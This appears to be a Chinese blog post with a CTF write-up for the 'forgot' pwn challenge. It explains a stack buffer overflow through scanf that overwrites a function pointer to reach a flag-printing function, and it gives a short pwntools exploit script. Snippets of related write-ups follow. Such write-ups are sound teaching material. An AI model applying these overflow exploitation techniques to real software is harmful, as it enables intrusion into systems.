攻防世界--进阶区--forgot

攻防世界 pwn forgot 下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的 首先我们看一下题目的安全机制: 然后IDA看一下主函数: int __cdecl main() { size_t v0; // ebx char v2[32]; // [esp+10h] [ebp-74h] int (*v3)(); // [esp+30h] [ebp-54h] int (*v4)(); // [esp+34h] [ebp-50h] int (*v5)(); . 阅读详情

1.获取基本信息

32位/只有NX保护

2.IDA进行中

1.main函数

输入的地方,是溢出点__isoc99_scanf("%s", v2);

fgets(s, 32, stdin);fgets函数对输入的数据有限制,所以不会造成溢出

2.int sub_80486CC()

 可以拿到flag的函数地址

 

 

main函数的内容还挺多的,1张没截完

第二张是一个for循环

额...........最后一行的代码不是很好看,查了查,可以看看它的汇编

应该是调用v3[--v5]的一个函数

[esp+78h]就是v5的位置

要是可以控制v5也就可以调用函数了

在for循环内v5的值一直在发生改变,所以不能让v5进入循环

让v5一直等于它的初值1 ,然后返回v3[0],将其覆盖为flag的地址

上面v2输入是溢出点

v2的长度为32,将v2填充满就会覆盖v3,所以偏移为32

但是这里的垃圾字符有讲究,不能随便用

不能让v5进for循环,还有一个限制条件

 

3.准备EXP 

from pwn import*
p=process('./forgot')
payload='A'*0x20+p32(0x80486CC)


p.sendlineafter("What is your name?\n> ","11111")
p.sendlineafter("Enter the string to be validate\n> ",payload)
 
p.interactive()
  

攻防世界 forgot 1.题目 2.IDA分析 3.流程分析 流程:输入名字,邮箱,邮箱校验完,执行v3+--v14处的代码。v3原本指向sub_8048604的,我们发现sub_80486CC才是我们需要运行的函数。 思路:①为了避免v14影响结果,输入字符避免进入case判断。②通过输入邮箱进行栈溢出覆盖v3的内容,使它指向sub_80486CC。exp如下: from pwn import * #io = process('./level2') io = remote('220.249.52... 阅读详情

相关推荐

攻防世界pwn题:forgot.doc

攻防世界pwn题:forgot.doc

攻防世界pwn题:forgot

该文件是32位的,canary和PIE保护机制没开。总览:该函数就是:v5初值为1,对v2输入一串字符。然后执行一个会根据输入的字符串而修改v5的循环语句,最后调用相应的函数。同时,发现文件里面已经含有cat flag的函数: 函数snprintf介绍: printf("cat %s", "./flag")是将cat ./flag输出到屏幕上。 snprintf(s, 0x32, "cat %s", "./flag")是最多将后

m0_62396648的博客 705

MDB协议中设备级别和选项(Levels and Options)

MDB协议的LEVEL级别介绍

hbstart的博客 939

[攻防世界]forgot

[攻防世界]forgot详解

逆向萌新的博客 362

AWVS安装与使用教程

Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的自动化网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。它可以扫描任何可通过Web浏览器访问的和遵循HTTP/HTTPS规则的Web站点和Web应用程序。适用于任何中小型和大型企业的内联网、外延网和面向客户、雇员、厂商和其它人员的Web网站。WVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。

qq_59607911的博客 4098

深度探索:VS2022 牵手 DeepSeek,开启开发新征程

通过将 VS2022 与 DeepSeek 接入,我们成功开启了智能开发的新征程。从前期的硬件准备、软件环境搭建,到实战环节的一步步配置与整合,再到全面的测试与验证,每一个步骤都充满挑战,但也带来了满满的收获。在实际应用中,VS2022 与 DeepSeek 的结合展现出了强大的优势,为开发者带来了更高的效率和更出色的代码质量。无论是代码自动补全、智能代码审查,还是自然语言交互编程,都让开发过程变得更加智能、便捷,极大地提升了开发体验。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 3524

攻防世界(Pwn) forgot---栈溢出;(方法一)

介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一 文件运行流程是: 1.先输入名字 2. 输入一串字符串 3.for循环验证字符串v5的值改变;4.返回v3[–5]函数; 1.溢出点 scanf函数 2.漏洞利用 最终返回的是 v3[--v5] 的一个函数, v5的值是在for循环之中改变的;v5的初始值是1; 把函数返回的目的地改为   0x80486CC就可以了; 只要修改 v3[0]-v3[9] 其中一个就可以了,这里选择修改v3[0] v3[--

半岛铁盒的博客 1098

816华为OD机试真题 新系统 - 电池充电时间计算 (Java/Py/C/C++/Js/Go)

816华为OD机试真题 新系统 - 电池充电时间计算 (Java/Py/C/C++/Js/Go)

算法大师! 472

攻防世界forgot——让人眼花目眩的一道题(详细菜鸡向)

攻防世界forgot——让人眼花目眩的一道题 今天做了一道攻防世界的进阶题,看起来复杂的一匹,但是实际上也就这吧 (随手关掉刚刚百度到的wp [doge]),做完后最直观的感受就是自己的代码阅读能力还有待提高。话不多说,先check个sec: 只开了NX(栈不可执行),四舍五入等于没开保护,直接上伪代码 反汇编伪代码如下: int __cdecl main() { size_t v0; // ebx char v2[32]; // [esp+10h] [ebp-74h] BYREF _DWOR

weixin_48066554的博客 1710

详细解读经典跨模态对齐技术Q-Former代码

介绍BLIP2的博客层出不穷,介绍Q-Former的博客也不少,但是详细解读Q-Former代码的博客很少。这篇博客希望以代码为基础,讲明白Q-Former的原理和核心思想,并详细解读一些值得注意的细节。希望读者们能从这一经典技术中朝花夕拾,得到启发。

沉迷单车的追风少年 2459

【研发日记】Matlab/Simulink自动生成代码(二)——五种选择结构实现方法

相比C文本类编程语言,Simulink图形化编程语言的优势是逻辑思路和数据流清晰了很多,劣势是程序执行的时序不明确,而且各个模块的配置使编程的灵活度下降了不少,在使用习惯上面总感觉有各种限制。本文就是拆解Simulink中最基础的几个编程模块,发扬它的优势,避开劣势。

Mr.Cssust的博客 3850

攻防世界高手进阶区 ——forgot

攻防世界高手进阶区 ——forgot 看了半天,啥也没看懂,做出来了才发现啥也不是。 一,分析文件 checksec 还好,只开启了堆栈不可执行。 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩。 直接ida int __cdecl main() { size_t v0; // ebx char v2[32]; // [esp+10h] [ebp-74h] BYREF _DWORD v3[10]; // [esp+30h] [ebp-54h] char s[32]; //

weixin_62675330的博客 490

爬虫实战:拆解WASM加密参数,破局2026电商动态接口反爬(实测某头部电商可用)

sign和wasm_token,而且每次请求这两个参数都在动态变化。用常规的参数拼接、MD5加密尝试还原,结果全是403;反编译前端JS,发现核心加密逻辑被打包成了.wasm,把关键参数加密、签名逻辑藏在二进制模块里,让爬虫无法直接逆向JS拿到加密规则。前后折腾了5天,从WASM文件解析、JS与WASM交互逻辑拆解,到本地还原加密参数、实战验证,踩了无数坑(比如WASM版本不兼容、内存数据读取失败、加密依赖环境缺失),最终成功还原了加密流程,稳定爬取商品详情、价格、销量等核心数据,连续运行72小时无封禁。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1913

forgot [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列13

题目地址:forgot 本题是高手进阶区的第二题,恭喜大家已经进入高手行列!好假好假,哈哈哈! 废话不说,看看题目先 这个题目有很长的描述,但是都是废话,不去管他了。 照例下载附件,做下安全检查 root@mypwn:/ctf/work/python/forgot# checksec 39d012d5bbc34295855136e9662a5392 [*] '/ctf/work/py...

重新启程 1332

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

进阶区forgotg攻防世界

攻防世界进阶区–forgot 前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西。 但是就是中看不中用 3.ida 进去看看 里面有两个输入,第一个我本来以为能溢出覆盖掉v14的数值,然后在最后的这句 用函数指针(还是指针函数来着我忘了),去调用这道题给出来的system,结果我试了试发现覆盖不到,就很气。 平日见到的scanf(%s)覆盖是不多的,所以没有太想到这里溢出点是第二个向v2里面传输数据。 使用cyclic

shanwei274的博客 273

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

攻防世界——pwn_forgot

checksec gdb -q ./forgot start i r exp: `#!/usr/bin/env python coding=utf-8 from pwn import * context(arch = ‘i386’, os = ‘linux’) r = remote(‘111.198.29.45’, 32048) overflow = "A"63 addr = 0x080486c...

syk的博客 1807

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

forgot 攻防世界 PWN WP及不解

最后的((void (*)(void))v3[--v5])()可以执行v3上对应的函数比如v5=2,就执行v3[--2]也就是v3[1]。分析一下,首先直接全部覆盖过去是不行的,后面会覆盖v5(i会初始化为0)选择直接跳过循环完了但是后面会执行一个未知地址的函数,很有可能程序会直接退出而无法使用我们写的返回地址。第二个实验中我们传的1确实是执行的v3[0]的函数,我们在多一个v3[2],传的123也确实是对应的函数。Ida,定义了一个数组v3,赋值的一些输出文字的函数,重点是v2,scanf可以溢出。

m0_55433185的博客 953

[攻防世界 pwn]——forgot

[攻防世界 pwn]——forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486CC函数地址 发现最后(*(&v3 + --v14))()执行 我们可以令v14 = 1这样就相当于v3所指向的函数执行 将v3所指向的函数地址覆盖为我们想要的函数地址就可以了 第一个栈溢出无法利用, 第二个可以利用 利用’\x00’开头的字符串绕过检查, v2距离v3 = 0x20 e

Y_peak的博客 311

攻防世界-pwn-forgot

至此:可以知道,出题人想让我们控制字符串的长度和字符类型来控制v5的值,通过控制v5的值来调用在v3指针数组的对应的函数去调用到system函数,但我们只需要1就OK了。且有一个对flag的打印函数(这个函数不咋好找,但就是一个普通函数,地址:0x080486CC)首先你需要输入一个char类型的字符串s[ebp-2ch](键盘接收函数fgets长度限制31)接收一个char类型的字符串v2[ebp-74h](没有长度要求,为溢出点)大概意思是对v2字符串的前10位做出要求,大于10位退出for循环。

2301_80384146的博客 405

forgot攻防世界

摘要:该32位ELF程序存在栈溢出漏洞,通过分析发现可以利用scanf函数覆盖v2变量。构造payload时需确保v5保持为1,并将v3[0]指向flag地址0x80486cc。最终获取到flag:cyberpeace{c5b65d846ff512520e6af33e2006987b}。解题过程使用了IDA工具,加深了对栈溢出和payload编写的理解。

JTaoX的博客 177

攻防世界 Pwn forgot

攻防世界 Pwn forgot1.题目下载地址2.checksec3.IDA4.exp 1.题目下载地址 点击下载 2.checksec 没有canary,可以随便溢出 没有PIE。可以随便使用后门函数 3.IDA 可以看到有两个溢出点 第一处限制了输入大小,我们就不管了 第二处是一个简单的溢出 只要知道需要覆盖多少byte数据就可以 接下来找到了cat flag的后门 也就是说只要把后门函数的地址直接跟在溢出数据之后就可以控制程序了 4.exp from pwn import * io = rem

MrTreebook的博客 218

《攻防世界》forgot栈空间题

哈哈哈,讲下这题的思路,拿到题目又是一大堆的字符串显示在控制台上,本想着又是一道逻辑题,披着逆向算法的外套,害,没办法继续分析 前面输入name用了fgets函数但是限制输入长度了,所以直接忽略,然后就是输入一个数对其进行简单的小算法了,我显示分析了一波算法,然后根据出题人的提示说这个,但是我好像还是摸不清题目的漏洞在哪里,就一直摸摸摸,先是简单的看了下全局伪代码,加上程序运行状况,发现你输入的数就算是通过了9层判断条件好像也是一样的打印一些字符串 这十个函数里面都是一样的没什么区别 然后出题人那个提示

csdn546229768的博客 3070

攻防世界forgot

我们用ida来看一下 int __cdecl main() { size_t v0; // ebx char v2[32]; // [esp+10h] [ebp-74h] int (*v3)(); // [esp+30h] [ebp-54h] int (*v4)(); // [esp+34h] [ebp-50h] int (*v5)(); // [esp+38h] [ebp-4Ch] int (*v6)(); // [esp+3Ch] [ebp-48h] int (*v7)(..

qq_25044201的博客 254

攻防世界(PWN)forgot

感觉有些wp写的不是特别详细,当时我看的时候有的地方也是看不太懂... 先拖进ida中看一下: 找到溢出点,因为我们分配给了v2 32byte的内存,但是scanf不限制长度,所以这里可以溢出。 第88行就是决定程序走向的语句了。 初步思路就是栈上的变量覆盖,在v2这里溢出,覆盖掉v3,然后让程序走到sub_80486CC: 既然我们要覆盖v3,那么根据(&v3+ --v14)我们需要让v14的值不变,因为v14 = 1则--v14 = 0,这样程序就会顺利的走到v3. 观察

苗_的博客 429

攻防世界:PWN刷题-forgot

forgot 这题,可有意思了。 大晚上的,有点迷。看了几个wp,一个比一个离谱(太简单了)。 后来自己试了试,还真是······ 思路:本题出现了指针变量并且进行了调用,所以可以利用栈溢出漏洞将该地址覆盖为后门函数的地址,让程序正常执行就可以拿到flag。 坑:一定要注意啊对v5的判定。 v5初值为1,进过下面的判断等操作后,其值被改变,而v5的值决定了程序调用那个指针所指的位置。 exp一定要注意,输入的v2的第一个字符,决定了v5的值。 当输入a的时候,经过判定,v5会变成2,则调用第2-1=1,也

m0_53932372的博客 2406
上一篇: BUUCTF PWN [HarekazeCTF2019]baby_rop
下一篇: 浅谈mprotect函数和mmap函数
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值